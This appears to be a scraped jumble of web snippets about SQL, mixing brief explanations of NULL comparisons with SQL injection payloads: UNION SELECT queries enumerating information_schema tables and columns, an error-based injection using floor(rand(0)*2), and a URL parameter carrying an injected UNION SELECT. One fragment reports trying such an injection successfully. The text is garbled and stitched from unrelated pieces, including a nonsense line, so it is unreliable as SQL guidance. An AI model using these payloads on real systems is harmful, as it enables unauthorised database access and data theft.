SELECT COUNT(*), 'null_tally' AS narrative FROM us WHERE a IS NULL UNION SELECT COUNT(*), 'not_null_tally' AS narrative FROM
New Pies And Select 1 From Select Count Concat Select Select Select Distinct Concat Version 0x27 0x7e Limit 0 1 From Information Schema Tables Limit 0 1 Floor Rand 0 2 X From.
In SQL, the NULL value is never true in comparison to any other value, even NULL. An expression that contains NULL always produces a NULL value unless otherwise indicated in the documentation for the operators and functions involved in the expression. All columns in the following example return NULL
...function=members&perform=memberappita&entity_id=11+limit+0+UNION+SELECT+1,2,concat_ws(0x3a
1 UNION ALL SELECT NULL,concat(0x28,column1,0x3a,column2,0x29) FROM database2.table1
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
SELECT column_names FROM table_name WHERE column_name IS NOT NULL
row(1,1)>(select count(*),concat(version(),0x3a,floor(rand(0)*2)) x from (select 1 union select 2)a group by x limit 1)
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'.